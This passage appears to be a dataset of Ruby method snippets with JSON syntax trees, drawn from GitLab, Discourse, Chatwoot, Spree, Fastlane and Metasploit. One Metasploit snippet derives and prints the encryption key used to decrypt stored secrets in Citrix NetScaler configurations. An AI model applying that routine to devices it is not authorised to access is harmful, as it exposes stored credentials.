m\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"no_content\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"lvar\",\"children\":[\"lookup\"]}]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"bad_request\"]}]}]}]}]},null]}]}","id":"ce41fba8-e3bc-4b85-872f-69c0c4f9aaad"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/requests/api/ci/runners_reset_registration_token_spec.rb","start_line":176,"raw_source":"def get_token\n          project.reload.runners_token\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"get_token\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"reload\"]},\"runners_token\"]}]}","id":"905f526e-d2bd-4fcd-a7d6-138049ddfbbc"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/services/captain/copilot/chat_service.rb","start_line":62,"raw_source":"def register_tools\n    @tool_registry = Captain::ToolRegistryService.new(@assistant, user: @user)\n    @tool_registry.register_tool(Captain::Tools::SearchDocumentationService)\n    @tool_registry.register_tool(Captain::Tools::Copilot::GetArticleService)\n    @tool_registry.register_tool(Captain::Tools::Copilot::GetContactService)\n    @tool_registry.register_tool(Captain::Tools::Copilot::GetConversationService)\n    @tool_registry.register_tool(Captain::Tools::Copilot::SearchArticlesService)\n    @tool_registry.register_tool(Captain::Tools::Copilot::SearchContactsService)\n    @tool_registry.register_tool(Captain::Tools::Copilot::SearchConversationsService)\n    @tool_registry.register_tool(Captain::Tools::Copilot::SearchLinearIssuesService)\n  end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"register_tools\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@tool_registry\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Captain\"]},\"ToolRegistryService\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@assistant\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"ivar\",\"children\":[\"@user\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tool_registry\"]},\"register_tool\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Captain\"]},\"Tools\"]},\"SearchDocumentationService\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tool_registry\"]},\"register_tool\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Captain\"]},\"Tools\"]},\"Copilot\"]},\"GetArticleService\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tool_registry\"]},\"register_tool\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Captain\"]},\"Tools\"]},\"Copilot\"]},\"GetContactService\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tool_registry\"]},\"register_tool\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Captain\"]},\"Tools\"]},\"Copilot\"]},\"GetConversationService\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tool_registry\"]},\"register_tool\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Captain\"]},\"Tools\"]},\"Copilot\"]},\"SearchArticlesService\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tool_registry\"]},\"register_tool\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Captain\"]},\"Tools\"]},\"Copilot\"]},\"SearchContactsService\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tool_registry\"]},\"register_tool\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Captain\"]},\"Tools\"]},\"Copilot\"]},\"SearchConversationsService\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tool_registry\"]},\"register_tool\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Captain\"]},\"Tools\"]},\"Copilot\"]},\"SearchLinearIssuesService\"]}]}]}]}","id":"7f678018-7b13-401a-8ba1-cbc853fecbca"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/mail_room/authenticator.rb","start_line":30,"raw_source":"def secret(mailbox_type)\n          strong_memoize(\"jwt_secret_#{mailbox_type}\".to_sym) do\n            secret_path = enabled_configs[mailbox_type][:secret_file]\n            raise SecretConfigurationError, \"#{mailbox_type}'s secret_file configuration is missing\" if secret_path.blank?\n\n            begin\n              read_secret(secret_path)\n            rescue StandardError => e\n              raise SecretConfigurationError, \"Fail to read #{mailbox_type}'s secret: #{e.message}\"\n            end\n          end\n        end","complexity_score":18.9,"ast_json":"{\"type\":\"def\",\"children\":[\"secret\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mailbox_type\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"jwt_secret_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mailbox_type\"]}]}]},\"to_sym\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"secret_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"enabled_configs\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"mailbox_type\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"secret_file\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"secret_path\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"SecretConfigurationError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mailbox_type\"]}]},{\"type\":\"str\",\"children\":[\"'s secret_file configuration is missing\"]}]}]},null]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"read_secret\",{\"type\":\"lvar\",\"children\":[\"secret_path\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"SecretConfigurationError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Fail to read \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mailbox_type\"]}]},{\"type\":\"str\",\"children\":[\"'s secret: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]},null]}]}]}]}]}","id":"43e9104f-4e97-4d72-a297-282f4e43e440"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-reactions/app/controllers/discourse_reactions/custom_reactions_controller.rb","start_line":244,"raw_source":"def get_users(reaction)\n    reaction\n      .reaction_users\n      .includes(:user)\n      .order(\"discourse_reactions_reaction_users.created_at desc\")\n      .limit(MAX_USERS_COUNT + 1)\n      .map do |reaction_user|\n        {\n          username: reaction_user.user.username,\n          name: reaction_user.user.name,\n          avatar_template: reaction_user.user.avatar_template,\n          can_undo: reaction_user.can_undo?,\n          created_at: reaction_user.created_at.to_s,\n        }\n      end\n  end","complexity_score":20.5,"ast_json":"{\"type\":\"def\",\"children\":[\"get_users\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"reaction\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reaction\"]},\"reaction_users\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"user\"]}]},\"order\",{\"type\":\"str\",\"children\":[\"discourse_reactions_reaction_users.created_at desc\"]}]},\"limit\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MAX_USERS_COUNT\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"reaction_user\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reaction_user\"]},\"user\"]},\"username\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reaction_user\"]},\"user\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"avatar_template\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reaction_user\"]},\"user\"]},\"avatar_template\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"can_undo\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reaction_user\"]},\"can_undo?\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reaction_user\"]},\"created_at\"]},\"to_s\"]}]}]}]}]}","id":"31accf05-7e79-4185-8d7f-917b304514ef"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/shodan_search.rb","start_line":98,"raw_source":"def save_output(data)\n    ::File.open(datastore['OUTFILE'], 'wb') do |f|\n      f.write(data)\n      print_status(\"Saved results in #{datastore['OUTFILE']}\")\n    end\n  end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"save_output\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"open\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"OUTFILE\"]}]},{\"type\":\"str\",\"children\":[\"wb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Saved results in \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"OUTFILE\"]}]}]}]}]}]}]}]}","id":"2411537c-ed66-4812-97a9-88fbdc1c9734"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/match/lib/match/portal_fetcher.rb","start_line":61,"raw_source":"def self.bundle_ids(bundle_id_identifiers: nil)\n        filter = { identifier: bundle_id_identifiers.join(',') } if bundle_id_identifiers\n\n        bundle_ids = Spaceship::ConnectAPI::BundleId.all(\n          filter: filter\n        )\n\n        bundle_ids\n      end","complexity_score":5.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"bundle_ids\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"bundle_id_identifiers\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bundle_id_identifiers\"]},{\"type\":\"lvasgn\",\"children\":[\"filter\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"identifier\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bundle_id_identifiers\"]},\"join\",{\"type\":\"str\",\"children\":[\",\"]}]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"bundle_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"ConnectAPI\"]},\"BundleId\"]},\"all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filter\"]},{\"type\":\"lvar\",\"children\":[\"filter\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"bundle_ids\"]}]}]}","id":"121c827e-1293-4f0d-b988-16f733eff9ab"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/wizard_step_serializer.rb","start_line":35,"raw_source":"def translate(sub_key, vars = nil)\n    key = \"#{i18n_key}.#{sub_key}\"\n    return nil unless I18n.exists?(key)\n\n    vars.nil? ? I18n.t(key) : I18n.t(key, vars)\n  end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"translate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sub_key\"]},{\"type\":\"optarg\",\"children\":[\"vars\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"i18n_key\"]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sub_key\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"exists?\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vars\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"vars\"]}]}]}]}]}","id":"25dfb25f-da3e-4f82-83c8-6f3761c4b08e"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/jforum.rb","start_line":42,"raw_source":"def import_users\n    puts \"\", \"creating users\"\n    total_count = count(\"SELECT COUNT(1) AS count FROM jforum_users\")\n    last_user_id = 0\n\n    custom_fields_query = user_custom_fields_query\n\n    batches do |offset|\n      rows, last_user_id = query(<<~SQL, :user_id)\n        SELECT user_id, username, user_lastvisit, user_regdate, user_email, user_from, user_active,\n               user_avatar, COALESCE(user_realname, CONCAT(first_name, ' ', last_name)) AS name\n               #{custom_fields_query}\n        FROM jforum_users\n        WHERE user_id > #{last_user_id}\n        ORDER BY user_id\n        LIMIT #{BATCH_SIZE}\n      SQL\n      break if rows.size < 1\n\n      next if all_records_exist?(:users, rows.map { |row| row[:user_id] })\n\n      create_users(rows, total: total_count, offset: offset) do |row|\n        {\n          id: row[:user_id],\n          email: row[:user_email]&.strip,\n          name: row[:name],\n          created_at: row[:user_regdate],\n          last_seen_at: row[:user_lastvisit],\n          active: row[:user_active] == 1,\n          location: row[:user_from],\n          custom_fields: user_custom_fields(row),\n          post_create_action: proc { |user| import_avatar(user, row[:user_avatar]) },\n        }\n      end\n    end\n  end","complexity_score":45.53,"ast_json":"{\"type\":\"def\",\"children\":[\"import_users\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"creating users\"]}]},{\"type\":\"lvasgn\",\"children\":[\"total_count\",{\"type\":\"send\",\"children\":[null,\"count\",{\"type\":\"str\",\"children\":[\"SELECT COUNT(1) AS count FROM jforum_users\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"last_user_id\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"custom_fields_query\",{\"type\":\"send\",\"children\":[null,\"user_custom_fields_query\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"batches\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"offset\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rows\"]},{\"type\":\"lvasgn\",\"children\":[\"last_user_id\"]}]},{\"type\":\"send\",\"children\":[null,\"query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT user_id, username, user_lastvisit, user_regdate, user_email, user_from, user_active,\\n\"]},{\"type\":\"str\",\"children\":[\"       user_avatar, COALESCE(user_realname, CONCAT(first_name, ' ', last_name)) AS name\\n\"]},{\"type\":\"str\",\"children\":[\"       \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom_fields_query\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"FROM jforum_users\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE user_id > \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"last_user_id\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"ORDER BY user_id\\n\"]},{\"type\":\"str\",\"children\":[\"LIMIT \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]},{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rows\"]},\"size\"]},\"<\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"break\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"all_records_exist?\",{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rows\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_users\",{\"type\":\"lvar\",\"children\":[\"rows\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"total\"]},{\"type\":\"lvar\",\"children\":[\"total_count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"offset\"]},{\"type\":\"lvar\",\"children\":[\"offset\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"email\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_email\"]}]},\"strip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_regdate\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_seen_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_lastvisit\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"active\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_active\"]}]},\"==\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"location\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_from\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"custom_fields\"]},{\"type\":\"send\",\"children\":[null,\"user_custom_fields\",{\"type\":\"lvar\",\"children\":[\"row\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_create_action\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[null,\"import_avatar\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_avatar\"]}]}]}]}]}]}]}]}]}]}]}","id":"8665e746-013d-4699-b84c-db5a6365c5e5"}
{"repo_name":"spree","file_path":"./repos/spree/api/app/controllers/spree/api/v2/platform/orders_controller.rb","start_line":112,"raw_source":"def next_service\n            Spree::Api::Dependencies.platform_order_next_service.constantize\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"next_service\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Api\"]},\"Dependencies\"]},\"platform_order_next_service\"]},\"constantize\"]}]}","id":"8f9e397b-acdf-4f66-9358-e83b1871e4e8"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.rb","start_line":105,"raw_source":"def build_ns_kek\n    unless File.size(ns_kek_f1) == 256 && File.size(ns_kek_f2) == 256\n      print_error('KEK files must be 256 bytes in size')\n      return false\n    end\n    f1_hex = File.binread(ns_kek_f1)\n    f2_hex = File.binread(ns_kek_f2)\n    unless f1_hex.match?(/^[0-9a-f]+$/i)\n      print_error('Provided F1.key is not valid hexadecimal data')\n      raise Msf::OptionValidateError, ['NS_KEK_F1']\n    end\n    unless f2_hex.match?(/^[0-9a-f]+$/i)\n      print_error('Provided F2.key is not valid hexadecimal data')\n      raise Msf::OptionValidateError, ['NS_KEK_F2']\n    end\n    f1_key = f1_hex[66..130].scan(/../).map(&:hex).pack('C*')\n    f2_key = f2_hex[70..134].scan(/../).map(&:hex).pack('C*')\n    f1_key_hex = f1_key.unpack('H*').first\n    f2_key_hex = f2_key.unpack('H*').first\n    print_good('NS KEK F1')\n    print_good(\"\\t HEX: #{f1_key_hex}\")\n    print_good('NS KEK F2')\n    print_good(\"\\t HEX: #{f2_key_hex}\")\n    @ns_kek_key = OpenSSL::HMAC.hexdigest('SHA256', f2_key, f1_key).scan(/../).map(&:hex).pack('C*')\n    @ns_kek_key_hex = @ns_kek_key.unpack('H*').first\n    print_good('Assembled NS KEK AES key')\n    print_good(\"\\t HEX: #{@ns_kek_key_hex}\\n\")\n    true\n  end","complexity_score":65.25,"ast_json":"{\"type\":\"def\",\"children\":[\"build_ns_kek\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"size\",{\"type\":\"send\",\"children\":[null,\"ns_kek_f1\"]}]},\"==\",{\"type\":\"int\",\"children\":[256]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"size\",{\"type\":\"send\",\"children\":[null,\"ns_kek_f2\"]}]},\"==\",{\"type\":\"int\",\"children\":[256]}]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"KEK files must be 256 bytes in size\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"f1_hex\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"binread\",{\"type\":\"send\",\"children\":[null,\"ns_kek_f1\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"f2_hex\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"binread\",{\"type\":\"send\",\"children\":[null,\"ns_kek_f2\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f1_hex\"]},\"match?\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^[0-9a-f]+$\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Provided F1.key is not valid hexadecimal data\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"OptionValidateError\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"NS_KEK_F1\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f2_hex\"]},\"match?\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^[0-9a-f]+$\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Provided F2.key is not valid hexadecimal 